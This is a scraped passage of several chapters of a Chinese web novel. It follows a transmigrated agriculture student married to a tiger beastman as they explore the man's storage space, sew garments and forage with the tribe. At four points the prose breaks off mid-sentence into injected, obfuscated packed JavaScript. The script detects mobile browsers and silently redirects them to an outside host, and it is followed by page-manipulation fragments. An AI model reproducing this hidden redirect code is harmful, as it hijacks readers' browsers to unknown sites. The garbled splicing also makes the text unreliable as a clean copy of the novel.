反正也已经要死了,他用尽身上最后的力气爬了过去。
吃了蘑菇。
从肚子里开始,周身竟然渐渐暖和了起来,好像躺在云朵里,让他想要睡觉。
他太困太累,真的睡了过去。
一觉醒过来,不仅不饿、不累、不冷了,身上还有用不完的力气。他的身体好像回到了父亲还在、有吃不完的肉的时候。
他撒欢地在森林里跑,意外撞进一只咕咕兽的窝里。咕咕兽不在窝,但窝里有十几枚咕咕蛋,这些蛋足够他吃两天了。
可是他没有兽皮袋,没法把吃剩下的蛋都带走。
如果有个兽皮袋让他把这些蛋带走就好了。他不甘心地抱着蛋,急得团团转。
随着这种想法越来越强烈,爪里的蛋突然就消失不见了。他急着四处找,蛋呢,蛋呢……
脑袋里突然好像多了双眼睛,看见了蛋的影子。
他当时还不知道这是怎么一回事,只担心着这蛋是跑去了哪里,怎么光能看见却摸不着呢,还能不能回到手里了。这么一想,蛋便又回到了爪子里。
之后又过了几年,森林里的野兽大部分对他构不成威胁了,他便时常往森林腹地那边去,去找泛着霞光的蘑菇。
只是蘑菇没找到,倒是找到过两株泛着光芒的草。
草的光芒不如蘑菇的那般漂亮耀眼,但吃到身体里也有好处。一株让他的眼睛、耳朵、鼻子更加灵敏,漆黑的夜里也可以清楚的视物,一株让他储物的空间扩大了一倍。
听到玄说泛着光芒的蘑菇和草,风浅几乎断定这些就是变异的灵植。而且玄的运气很好,吃到的都是具有特殊效果的极品灵植。特别是蘑菇,能让玄觉醒空间异能,至少也得是地级的灵植。
“放到空间里的东西会一直维持着放进去时的样子。刚打的猎物扔进去,不管隔了多长时间,再拿出来的时候,猎物身上都还是温热的。”
“凭着这个空间,我才能活到现在。”说到这里,玄的神色沉了沉,微不可察,但却没逃过风浅的眼睛。
风浅的一颗心为幼年玄的遭遇揪得生疼。
风浅一手攀着玄的肩膀,一手抹平玄微蹙的眉心,怜惜道,“以后不会了,不管生老病死,不管发生什么事情,我都会和你在一起,永远不会离开你,一直和你在一起。”
玄看着一脸认真的风浅,眼里的笑意逐渐变浓,扣着风浅的后脑勺,啄了啄风浅的嘴角,动作轻佻狎昵,语气却意外地郑重,好像在承诺,“嗯。你是我的亚兽人,自然要一直在我身边。”
眼看着气氛再次胶着起来,虽然是新婚,但也不能毫无节制啊,风浅推了推玄的胸口,岔开话题,“那你的空间现在有多大?能放活物吗?比如,我?”风浅指了指自己。
玄有些遗憾地摇摇头,“不能。以前试过,活的猎物收不进去。”
风浅若有所思地点点头,玄的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040083|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空间听起来和末世时初级、中级的空间异能者很像。只是,不知道以后会成长到什么地步,空间系异能几乎是所有异能里成长最慢的,他没见过高级的空间异能者。
有异能,那玄是不是也有能量核。
有能量核就可以修炼,异能会不断升级,成长。
他现在这具身体没有异能,没有能量核,暂时没法查看玄的精神海,也就没法知道玄是否有能量核。
“那你的空间现在有多大?”风浅思忖了一会儿,又问。
“和洞穴差不多大,嗯,等等——”话说到一半,玄神色一顿,突然停住,将所有的精力都用在了查看空间上。
他以为自己刚刚说话间不经意的一瞥是看错了。他最近什么也没做,空间怎么突然就变成原来两个大了。
上次这么细致地检查空间还是带风浅回部落那日,他自己一个人先进山洞里,把去盐咸部落前收进空间里的东西都搬出来摆好。也就是说,他的空间是在这三日内突然变大的。这三日,他明明什么都没干……
“现在有两个山洞大了。”玄将自己的疑惑说出来。
风浅抿了抿嘴,把肚子里的猜想憋回去。这可能是因为他们俩双修了?还都是彼此的第一次,效果格外明显?
不过,他现在这具身体暂时还没恢复异能,这样双修也有用吗?他的异能真的能恢复?那真是太好了。兔宝贝平时挺闹腾的,但这么长时间不见,又挺让人想的。
风浅看着玄那张冰雕玉琢的脸庞心里痒痒,要不再试试?量变引起质变,或许刺激刺激着,刺激多了,异能就被激活了,恢复了呢?
几天下来,风浅这种眼神,玄还有什么不明白的。
风浅再醒,已经过了晌午,他是被烤红薯的香味儿勾醒的。山洞口,肩宽腰窄的银白发兽人正在烤红薯。仅一个背影都让人心神荡漾,实在妖孽。老虎能变人,可不就是个妖精吗,风浅没忍住笑出声。
“醒了?”玄拿着烤好的红薯,用一个宽大的树叶包住递给风浅。他自己坐到兽皮窝里,把风浅从窝里捞出来,“先垫垫肚子,一会儿做跳跳兽肉吃。”
跳跳兽就是二十多斤的大兔子。兔族兽人的兽形和蓝星上的兔子差不多大,但跳跳兽却有二十多斤,像只小乳猪。
知道了空间的存在,风浅算是明白这几日吃的新鲜肉都是从哪儿来的了。他就奇怪,明明玄一直陪在他身边,也没出去打猎,怎么各种鲜肉就没断过。
两人你一口我一口把烤红薯吃了,这才想起蚕丝布。
白色的蚕丝布宽三十公分左右,长大概有五、六米,这么块布就要二十块盐砖。这么多盐砖都够很多山洞吃一年了。哪舍得用这么金贵的东西做衣服。但,内裤还是要的。
风浅打算用蚕丝布做两条平角内裤衬在草裙或者兽皮裙里。他一条,玄一条。
骨刀代替剪刀用来裁布,那针呢?这里连铁杵都没有,怎么磨针?以前原主在兔部落的时候倒是见过骨针,特别粗,缝兽皮、草裙行,但蚕丝布就不适合了。
11. 刺刺兽(捉虫)
正当风浅满脑子思考能用什么东西代替针的时候,就见玄从空间里翻出一团蚕丝线和一根玉白的针。蚕丝线是买布的时候蚕桑部落送的。
“这个不行,太粗了。”玄自言道,捏着玉白的针嘱咐风浅,“这个是我平时缝兽皮裙用的,等你缝兽皮裙的时候再找我要。天很快就冷了,你得抓紧时间缝几件兽皮裙,草裙和蚕丝布都没有兽皮裙暖和。”
风浅还没来得及说这个可以试试,就见玄又从空间里扔地上玉白的一团。
这是刺猬?浑身都是刺,怪不得要扔地上呢。
“这是几年前在森林腹地捉到的刺刺兽。我自己留了一半刺皮,另一半换了两口陶锅。”玄解释。
刺刺兽身上的刺坚硬无比,可以磨针或者做武器。刺刺兽数量稀少,很难遇到,其中又以白色刺刺兽的刺最为坚硬结实,价格也最高。
半只刺刺兽的皮可以换两口陶锅,风浅心里一震,这东西比人贵。当初集市上遥跟有陶部落要两口陶锅作为红果的回礼,有陶部落还嫌贵。
玄翻了翻地上的刺刺兽皮,让风浅挑了两根大小合适的。
用骨刀将刺从兽皮上剥下来。先用磨石磨出大致形状,再用兽皮细细打磨光滑,最后用其他的刺穿磨针孔。不到半个小时,一根玉白剔透的缝衣针就出现在风浅的手里。
针尖锐利,针身温润细腻却不滑手,放在阳光下玲珑莹润,艺术品一般,风浅都有些舍不得用了。
而且他没缝过衣服。既担心糟蹋了布,又担心糟蹋了针线。可他不做,玄连内裤是什么都没见过。风浅只能赶鸭子上架,硬着头皮上。
用烧得焦黑的木炭在蚕丝布上按着自己的腰围、臀围画了平角内裤的大致形状,裁下相同两片作为前后片。风浅在身上比了比,不禁感叹还好他几何学得不错,尺放的挺准。
风浅一鼓作气,又扒了玄的兽皮裙,量尺,裁布。
忙到傍晚,山洞里光线不好,玄在洞口做饭,风浅便搬了石凳出去,在玄旁边缝内裤。
中学劳技课上谁还没刺过十字绣,或者编点儿、织点儿什么,他平时也会自己缝缝扣子,没做过衣服,又不是没拿过针。
为了结实耐用,不辜负了好布料和手上的针,风浅特意放小了针码,细细密密地缝。终于赶在天黑之前缝好了两条内裤
看着风浅欢欢喜喜地穿上新鲜出炉的内裤,把挺翘的小屁股包的严严实实的,又系上了草裙,一旁的玄眉头动了动,看了看自己手里叫作“内裤”的东西。他现在有点儿后悔送风浅蚕丝布了,还来得及吗。
但就像风浅说的,重点的身体部位只能给伴侣看,这样也挺好,他想把风浅全身上上下下都包住,遮严实了,只有他能看。
-
第二天一早,两人早早的起了。今天是结契仪式的第四天,部落里恢复正常的生活秩序,狩猎队和采集队正式开始秋储,准备过冬的物资了。
两人都不在山洞,玄把山洞里贵重的物资都收进了空间,用藤条编的门板挡住洞口,两人一人拿了一个兽皮袋去部落的山谷里集合。
自玄在他面前化成人形后,风浅还是第一次和玄这样并排站着。
兽人大陆的动物植物,即使是相同的品种,也比蓝星上的大一些。人也是。
他现在这具身体,原主和他的样貌、身高都差不多,大概在一米八六左右。蓝星上,一米八六不说特别高,但也绝对不能算矮。gay圈里,他这身高,根本没哪个1上来搭讪。
再加上农学院的背景,他身上始终覆着一层薄薄的肌肉,他自己看着挺漂亮的,可吸引来的不是1,全是白斩鸡似的小甜0,还有不知道他性向的学妹!
他以为自己是个没人要的熊受咧,不想……
风浅仰头看了看身边的男人,他头顶竟然只到男人的肩头!
兔部落和黎山部落换盐小队的兽人人形他都见过,也就比他高半个头。
玄这身高,怪不得他坐在玄的腿上也没有玄高。没想到有一天,他还能“小鸟依人”的站在自己老攻旁边。
觉察到风浅的视线,玄顿住脚步,微微侧头看他,“身上还不舒服?要不然再休息几天,其实,新结契的伴侣,尤其是亚兽人,大都会晚几天才去采集队。”
“没事儿,没有不舒服,就是没想到你比我高这么多”。风浅用手比了比自己头顶到玄肩头的位置。这身高差,还好玄情绪稳定,脾气好,没有家暴倾向,不然,他回手的余力都没有。
“而且,我前两天就想去森林里看看了。”风浅解释。他从穿过来不是在沙漠,就是在赶路,是真的着急想看看兽人大陆的生存环境和蓝星差了多少。
“你个子不矮,在亚兽人里算高的,只是我是兽人,自然比你高一些。”玄轻笑,温热的手掌包住风浅的手,“别勉强,你刚加入采集队,不熟悉部落周围的情况,收获没别人多也正常,空间里不缺吃的。”
风浅欣然回握玄的手,“你可不要小看我,兔族是很擅长采集的。”
黎山部落是个五、六百人的中型部落,有十五个狩猎队,九个采集队。采集队不只有亚兽人,还有十二岁以上的幼崽,受了伤或者年龄大了不能狩猎的兽人。
翻过山岗,就是部落所在的山谷。平时集会的空地上已经站了不少人。玄和风浅一过来,瞬间吸引了不少人的视线。
有人的地方就不缺八卦。
结契也就是新婚,新婚的情侣窝在山洞里干什么大家都心知肚明,又是实打实地厮混了这么多日,风浅没由的心虚,路都不会走了,头一次出山洞就被全部落的人围着打量,臊得脸皮都能滚鸡蛋了。
他真该听玄的,在山洞里多休息几日,避开这个风口,至少也等其他新结契的亚兽人一起过来,分散分散注意力。
玄倒没受什么影响,牵着风浅的手进了山谷,只是一进山谷立马就换了一张冷若冰霜、闲人勿近的冰山脸,领着风浅找到雪晴。
雪晴是部落采集队的队长,采集的事本就归她管,何况,她还记着沙漠赶路时风浅给过她仙人掌果。雪晴保证道,“玄,风浅在我这儿你放心,保准全须全尾的给你带回来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040084|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>狩猎队先出发,采集队会晚半个小时左右。这段时间特意留给有幼崽的亚兽人,把幼崽送到集体山洞的老人照看,安顿好之后采集队才会出发。
雪晴把风浅编在自己这个小队。
部落里很多老人都坚信祭司的话,对玄有偏见和怨怼,恨不得把玄彻底赶出部落。风浅是玄的亚兽人,她怕这些人会把对玄的不满发泄到风浅的身上,为难风浅。
再者,虽然部落的老人不喜欢玄,但玄的人形飘逸俊朗,很得部落里一些年轻亚兽人的喜欢。这些亚兽人碍着长辈和以前的一些传言,对玄是又喜欢又害怕,喜欢玄的英俊,仰慕玄骁勇善战,又害怕玄真的会像祭司说的那样给周围人带来厄运。
如今玄突然从换盐集市上领回一个亚兽人,难免让喜欢玄的这些亚兽人心里不舒服,看风浅不顺眼。
况且风浅脑子不好使,她把风浅编在自己小队里,放在眼前看着是最妥当的办法。
采集队今天的任务是北面的一片森林。
他们世代生活在这片森林,对森林里哪个山头有什么果树野菜,什么时候适合采摘收获相当熟悉。今天这片山头主要是小硬壳果、大硬壳果,还有刺刺果。这几样不仅可以填饱肚子,而且耐储存,可以放一整个雪季。
风浅初来乍到,看到什么都新奇,比如路边山坡上膝盖高的蒲公英,蓬松松的毛球各个都有拳头大,看着就让人手痒。
“风浅,跟上来,别掉队。这边森林虽然已经被狩猎队和巡查队排除过,但也不排除有漏掉的野兽,尽量不要落单。”雪晴喊道。
“这就来!”风浅只能暂时放弃过去摘把蒲公英玩玩的念头。
“秋储的时候比较忙,每天要出来采集两趟,第一趟是带着任务来的,把今天的任务做完,下一趟的时候就自由一些,可以采自己喜欢的或者需要的。”知道风浅脑子不灵光,雪晴耐心地跟风浅解释。
风浅点头,“好,我知道了,晴姐。”
半个小时后,采集队终于到了今天的目的地。
每个部落对各种植物、动物的叫法有些偏差,并不统一。黎山部落的小硬壳果就是乒乓球大小的榛子,大硬壳果是鸡蛋大小的山核桃,刺刺果是拳头大小的板栗。但这里的板栗都是一果一栗的独头板栗,剥开外边的刺壳,里边的栗子差不多也是乒乓球大小,棕黑色,滚圆滚圆的。
刺刺果树下都是刺,雪晴把风浅等几个穿了鞋的队员派去捡刺刺果,没穿鞋的还有幼崽去摘小硬壳果和大硬壳果。
“山里刺刺果不少,以后出来采集都把草鞋穿上,不可能每次都照顾你们,让你们去捡没刺的。谁还不知道没刺的好捡!”雪晴看着队里几个没穿鞋上山的亚兽人有些不满。
捡刺刺果不仅扎脚还扎手,有时冷不丁从树上掉下一个带刺的壳,还有可能扎到身上或者头上,于是,总有那么几个爱耍小心思的,特意不穿鞋,然后仗着自己没穿鞋,抢着去捡没刺的硬壳果。想得美呢。今天是秋储第一天,可能有人是真的忘了,不然专让这些没穿鞋的去捡刺刺果。雪晴一脸愤愤。
12. 窝窝绒(捉虫)
风浅掂掂手里的栗子,十来个就能称一斤了吧,无农药无化肥,绿色、有机,圆滚滚的还有颜值,这要拿到末世前,还不得被人疯抢。
风浅咬开一个,剥开棕黑色的外壳,里边的软皮竟意外的好剥,两下便撕下来了,是油栗了,皮好剥,味道也比一般的板栗甜。
这界的栗子个头大,好剥皮,口感好,怪不得被当做秋储的主粮来收集。
农学院出身的风浅捡栗子可是专业的,动作一点儿不比其他的亚兽人慢,他甚至还有心思考虑如何扩大板栗种植面积,嫁接可以完美保留母本优良性状,种子种植容易造成性状分离,后代品质优劣不一。
唉,可惜玄被部落赶出来了。夫夫一体,嫁鸡随鸡嫁狗随狗,他一腔的种植热血暂时没地方洒。
不是玄怪异,而是黎山部落没有接这破天富贵的福气。
“风浅是吧,你这手法,看样子不像是个疲懒的,也没他们说的那么傻。”旁边一个捡栗子的年轻圆脸亚兽人问,“玄用了两块盐砖就把你领回来了?那他运气还算不错啊。”
换盐集市上闹得沸沸扬扬,傻子,还有他的回礼只有两块盐砖的事,短期内这两个话题怕是绕不开了。原始社会也要攀比彩礼吗。风浅呵呵笑了,转移话题,“兔族哪有不擅长采集的。”
“这倒是,咱们部落之前也娶过两个兔族的亚兽人,都是采集的好手,认识好多我们不认识的野菜。只是可惜了,嫁过来之后一共也没在采集队呆多久。”亚兽人有些惋惜。
“唉?”风浅疑惑,“不是所有人都要参加采集和狩猎吗”。
这时,雪晴过来了,笑着拍了把圆脸亚兽人的头,“别听芽瞎说,咱们部落,但凡有三岁以内幼崽的亚兽人是不需要参加采集队的。人家两个,一个在家孵蛋,一个带幼崽。这都是好事,有什么好可惜的。”
“这倒也是。”芽眨眨眼睛,情绪有些低落,也有些羡慕,他结契三年了,但一个幼崽也没有。
“你们兔部落的亚兽人是不是都这么能生啊。麦苗,就是你们兔部落前几年嫁过来的一个亚兽人,有一年竟然生了两次蛋,孵着上一个蛋的时候,肚子就又鼓起来了。”芽说。
看着芽一脸羡慕的样子,风浅眼皮跳了跳,突然就觉得肚子疼,屁股也疼。
美色误事!他怎么忘了亚兽人能生蛋这回事了!
他和玄……
荒唐了那么多日……
风浅有些后怕地摸了摸自己的肚子,别是肚子里已经有了。
能孵出幼崽的蛋得有多大啊,鼻孔塞西瓜……
药,tt,这里好像都没有,要用鱼鳔和羊肠吗?
不要啊……
他要离婚!离婚!
风浅僵硬地摇摇头,对芽说,也好像在安慰自己,“不,我不好生养的。屁股小,不好生养的。”此时,没有任何人比他更愿意相信遥的话是真的。他回礼才两块盐砖,肯定不好生养的。
芽见风浅反应这么大,以为他是担心自己不好生养,忙往风浅身边凑了凑,低声安慰,“谁说屁股小就一定不好生养的。”芽的视线往风浅身后移了移,“我看麦苗也没比你大多少啊。”
风浅只觉得屁股上凉飕飕的,艰难地咽了口口水。芽这哪是安慰人,这分明是往伤口上撒盐好不好。
又听芽说,“何况,只是不好生养又不是不能生养。你们兔族的不好生养已经比其他种族的好生养还容易生蛋了。只不过是从一年生两个变成两年生一个。”
风浅倒吸一口冷气,直直看着芽。杀人诛心,芽这么一张娃娃脸,到底是怎么说出这么血淋淋的话的。
还一年生俩,这到底是怎么怀的。
风浅吐血,完败。离婚!今晚就跟玄离婚!
一个多小时后,大部分人的兽皮袋装满了,采集队下山。
采集回来的物资送到仓库山洞门口的空地上,由祭司清点,每人交出一半的物资,剩余一半归采集的个人所有。
风浅终于见到了黎山部落的祭司,是个清瘦的老头儿,腰板笔直,背着手,面皮白净,养尊处优的,和部落里其他驼着背、佝偻着身躯忙碌的老人相比,这位祭司一看就是没干过什么重活儿。
可能是先入为主的原因,提前知晓了这人对玄的态度,虽然祭司对周围幼崽的态度还算和蔼,但他却觉得那笑不达眼底,假情假意,装模作样,一脸刻薄。
“回来了。”祭司淡淡地看了眼雪晴,神情里带着几分倨傲。
“嗯,刺刺果今年结的挺多,被虫子咬坏的也少。”
雪晴稍稍说了山上的情况就开始组织采集队的队员把兽皮袋里的东西倒出来,让祭司和祭司身边几个小学徒一一清点了,上交一半的收获,剩下的再让采集队队员装回自己的兽皮袋。
雪晴特意把风浅安排在离祭司比较远的位置。
祭司只淡淡扫了眼新来的风浅,看到他满满一兽皮袋的刺刺果,也挑不出什么毛病,转头回山洞了。左右不过是个傻子,能掀起什么风浪,玄那个怪物配个傻子,刚刚好。
玄的山洞离部落比较远,风浅把半袋子刺刺果暂存在雪晴的山洞里,又跟着采集队进了森林。
采集队这次走的比较慢,目标还是上一趟的森林,但这次可以随意采摘,行动比较自由。
秋天没什么鲜嫩的野菜,但成熟的野果很多。采集队先是遇到了一棚红彤彤的浆果,指顶大,酸甜酸甜的,类似蓝星上的树莓。
这果子不耐压,装兽皮袋里拿回部落就压成泥了,而且不容易保存,往往第二天就烂了。采集队的人并没有打算大量采摘,只是站在树旁歇歇脚,顺便吃几颗果子打打牙祭。
玄有空间,保鲜,不存在烂掉的情况。风浅把腰上的水筒解下来,喝了两口水,剩余的水倒掉,打算用水筒装红浆果。
“唉?麦籽树还可以这样用?这个盖子是怎么扣上去的?给我看看。”站在风浅旁边的芽凑了过来,端量着风浅手里的水筒,感叹道,“你真聪明,到底是谁说你傻的。”
风浅无奈地歪了歪头,“可能是哪一方面让人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040085|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得傻吧。”
“一会儿回部落你教我做这个水筒好不好。”芽一脸期待。
周围其他亚兽人见那水筒上竟然可以扣盖子,很是稀奇,也有些意动,跃跃欲试,只是没有芽自来熟。
风浅点头,若是能帮玄缓和缓和和部落的关系也挺不错的,“行啊,这东西并不难,很简单的。”大部分人看了水筒和盖子的构造就明白了,其实并不用他教。
芽高兴地帮风浅摘红浆果,一会儿的工夫便装了满满一水筒。
再往山上走,路过那片异常高壮的蒲公英,风浅没继续跟着采集队走,径自拐进了蒲公英丛里。蒲公英的根可以泡水喝,鲜嫩的叶片也可以包包子,是秋天里为数不多可以采的野菜。
只是一靠近才发现这片草根本不是蒲公英,只是长的像而已。
而且……
风浅摇摇头,他坚决不会吃这个草的,打死也不吃。
“现在就开始准备窝窝绒了吗?”芽跟了过来,“也是,冬天和春天采不到窝窝绒,你们……”
芽想说你们兔族那么会生蛋,是得提前准备,可一想到风浅说自己不好生养时的伤心表情芽又把这话咽了回去。
“我陪你采啊,正好我也要提前准备一些。”芽说。万一兽神听到了他虔诚的祈愿,给他一颗蛋呢。
风浅看着芽一手一个,只摘毛茸茸的白团子,那白团子并不像蒲公英遇了风就散了,反倒有些像棉花?
棉花?!
风浅眼睛一亮,抓着腿边的一朵窝窝绒揉了揉,真像棉花!能撵成线,白团子里还夹着黄豆粒大小的黑色种子。
能纺线,那下一步就会有布,有布就有衣服穿了,不用从蚕桑部落买死贵死贵的蚕丝布了!
“芽,你真是太好了!”风浅激动的一把抱住芽。他真的很喜欢这个有些自来熟的亚兽人。
芽虽然被他抱的莫名其妙,但自豪道,“我是很棒啊。”
风浅也开始揪棉花,突然想到什么,“芽,你可以挖一些窝窝绒的根回去,晒干了煮水喝。”
“唉?好好的为什么要吃草根?”芽一脸不解。部落里一般只有在彻底没有食物吃的时候才会挖草根。
“不是吃草根,是把窝窝绒的根洗净了,晒干,煮水喝,喝窝窝绒根煮的水。”风浅重新解释一遍。窝窝绒的根可以调理亚兽人的身体,增加怀孕生蛋的几率。也是芽运气好,早晨刚说想要生蛋,不到中午就让他遇见了能增加怀孕几率的药草。
窝窝绒可以增加怀孕几率,但不是百分之百就能怀。风浅怕让芽失望,只说常喝窝窝绒水对亚兽人身体好,他们兔族的亚兽人都是这么喝的。其实兔族根本就没有窝窝绒。
“真的?那你们兔族亚兽人的身体是不是都很好,怪不得兔族那么能生呢。”兔族生蛋的能力那是很让人信服的,芽一脸兴奋,已经放弃揪窝窝绒,改挖窝窝绒的根了,还问,“风浅,你不挖吗?”
风浅如避蛇蝎,忙摇头,“不不不。我在兔族已经喝很多了,再喝也没用了。”
13. 文盲虎
半下午,采集队回了部落,每个人肩上都还扛了一两根雄性麦籽树。
风浅摘了一兽皮袋的窝窝绒,上交部落一半,之后跟着雪晴回了山洞,装上另外半袋刺刺果。
“风浅!快下来啊!”
雪晴的山洞在半山腰的崖壁上,芽站在山崖下冲洞口心急地喊。他已经把兽皮袋送回山洞又折返回来了,结果风浅还没从雪晴的山洞下来。
“就来!”风浅应道,背着兽皮袋从雪晴的山洞下来。
芽周围还跟着几个采集队的亚兽人,也是来学做水筒的。风浅笑笑,当着这些人的面用自己扛回来的麦籽树做了个水筒,示范给众人看。
水筒构造很简单,一看就会。
等这些亚兽人纷纷开始做水筒了,风浅又把麦籽树劈成薄片编漏勺。
“这个东西好用,我也要学。风浅,你真聪明,到底是谁在说你笨啊。”
芽吵嚷着,不到一天,已经从“傻”变成“笨”了。风浅含糊道,“可能是他们太聪明了吧。”
其他采集队也陆续回来了,三五成群,或看芽几个人做水筒,或聚在一起搓麻绳,家长里短。
第一支狩猎队回来的时候,广场上的气氛热烈高潮起来,大半的人跑过去看狩猎队带回来的猎物。是两头大如牛的鹿兽,风浅粗粗扫了眼,对别人的猎物不是很感兴趣,继续编漏勺,他更期待玄回来。
可能是之前几天太过腻歪,才分开不到一天他就有些迫不及待地想要见玄。他不知道是不是所有新结契的伴侣都像他这样,几乎像皮肤饥渴症一样想要缠着玄。怪不得人家要度蜜月呢。
明天就好了。部落里隔天才集体采集狩猎,明天他可以和玄单独出去,或是在家腻歪一天。风浅忍不住地勾了勾嘴角,全然忘了要离婚的事。
陆陆续续又有几支狩猎队回来,看完热闹的芽沉着脸从狩猎队那边回来。他家兽人今天抓到一窝咕咕兽,带回来五个蛋,但他们家只分到了一个咕咕蛋。
芽撇撇嘴,有些不满,小声跟风浅抱怨,“咕咕蛋是我家猛找到的,明明交给部落一半就行了,却被祭司拿走了四个,他拿走三个我都不会不满,偏偏只给我留一个。”
“咕咕蛋这东西也不能放多长时间,部落发食物的时候可从来没给大伙儿发过咕咕蛋。谁还不知道呢,咕咕蛋都被祭司自己吃了,还说给部落里牙口不行的老人,又有哪个老人闻到蛋腥儿了?”
“如果祭司真把咕咕蛋分给部落里的老人吃了,我也不会计较,谁还没有老的时候呢。”
“猛也是的,光长个子不长心眼儿,教都教不会,之前就告诉他,再遇到咕咕蛋就偷偷藏起来,等第二天再去拿。他偏不听,实心眼儿的笨蛋。”
“一天的好心情都被毁了。”芽抱怨道。
祭司被称为兽神的使者,不管在哪个部落都是很受尊敬的,地位不比族长低。但黎山部落的祭司,好像意外的不怎么受欢迎。
“你很喜欢咕咕蛋?”风浅问。
“那你不喜欢吗?会有人不喜欢咕咕蛋吗?”芽反问。
“哦……应该没有吧。”风浅有些迟疑,原主没吃过咕咕蛋,他也不知道是什么味道,咕咕兽长的像鸡,又像鸭和鹅,那咕咕蛋应该也是和这三种蛋既像又像?
芽眨了眨眼,突然想起风浅是玄从换盐集市领回来的,那应该是在兔族的集体山洞里长大的,集体山洞里的幼崽哪有咕咕蛋吃。而且,风浅才跟了玄几天,捡咕咕蛋是要看运气的,玄再厉害,这么短的时间也不一定就能遇上咕咕蛋啊。所以风浅是没吃过咕咕蛋的?
芽有些同情风浅,风浅又教他做水筒,又告诉他窝窝绒的根对身体好,一会儿煮了咕咕蛋他要给风浅分一半。
芽正要岔开话题,一抬头就看见族长九领着几个化成人形的兽人用树干扛着只豕兽进了山谷,芽冲风浅喊道,“玄和族长他们那支狩猎队回来了。”
所谓的豕兽就是头七、八百斤,长嘴巴、大耳朵、短尾巴的黑毛野猪。野猪四条腿被吊在树干上,头骨凹下一块,浑身都血淋淋的,被前后两个兽人用树干扛着。
这只野猪后面,跟着进山谷的还是扛着野猪的兽人。只不过后面的野猪个头比较小,看起来二三百斤的样子,都是一个人扛一头的。
这是今天收获最大的一只狩猎队,广场里起了欢呼声。
“这是端了哪头豕兽的窝吗?”芽兴奋道,“今天第一天秋储就猎了这么多猎物,今年冬天看来不会挨饿了。”
狩猎队一共扛回来一头大野猪,四头小野猪。
没有在狩猎队里看到玄,风浅有些担心,野猪的战斗力可不小,特别是带崽儿的母猪,杀伤力更强。玄为什么没有和狩猎队一起回来。
这群野猪是玄发现的,为首的大野猪也是玄猎的,所以他不用扛猎物。回去的路上便绕了远,洗了澡才回部落。狩猎难免沾了一身血腥,他怕风浅会多想。
他甩了甩身上湿淋淋的毛发,想着家里缠人的亚兽人,归心似箭。
玄一口气跑回部落,远远就看到山谷口朝着山林里眺望的亚兽人。
风浅是他见过的最漂亮的亚兽人,特别是在热汤池子里洗过之后,就像大泽里露出水面的荷,亭亭独立,一眼便让人移不开视线。
玄跑着跑着化成人形,一把将眼前的亚兽人按进怀里,“怎么没回山洞,却在这里等我。”
风浅抱住玄不说话。他问了和玄同一个狩猎队的九,知道玄是洗澡去了,不然就不只是在山谷口等了。突然觉得自己有些像担心丈夫外出的妻子,差点儿成了望夫石,风浅有些郁闷。
玄一手扣着风浅的腰,一手扣着风浅的后脑勺,吻顺着眼角滑到嘴角,“真想把你吞到肚子里。”
玄想说的是拆吞入腹吧,明明说的情侣爱人感情亲密,喜欢得不得了,恨不能融为一体,怎么被玄这么拆成白话一讲,顿时就有了种惊悚片的感觉。关键是对方兽形是大老虎,睡迷糊了,真能嘎嘣嘎嘣把他吃了,骨头渣都不剩。瞬间从夸张的形容词变成了写实叙事。
文盲虎。
风浅推了推玄的胸膛,打量着玄问,“没受伤?”打完猎不回家,先去洗澡,怕不是要遮掩身上的伤口。
“没。”玄笑着说,“我真的很擅长打猎。”
风浅点点头,“那分肉去吧,拿了肉咱们好回山洞。那边猪都杀好了你才回来。”
“猪?”玄不解。
“就是豕兽。”风浅解释。
“你们兔部落把豕兽叫作猪?”玄问。
风浅不否认也不肯定,含糊地点点头,问道,“哪头猪是你猎的?”他们只能分玄亲自猎到的猎物。
玄一脸自豪,“最大的那头。”
风浅皱了皱眉,最大的那头野猪浑身都是伤,血淋淋的,可见狩猎时场面的激烈。风浅复又担心起来,“你真的没受伤。”
“你自己看。”玄笑着把双臂一展。他兽形皮毛厚,在森林里跑了一天,身上刮破皮的地方都没有。
“你若是兽形受了伤,化成人形也能看出来吗?”风浅问。
“自然能看出来。”玄看了眼风浅,不明白风浅怎么连这么简单的问题都不知道。是因为以前傻,所以才不知道?那以后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 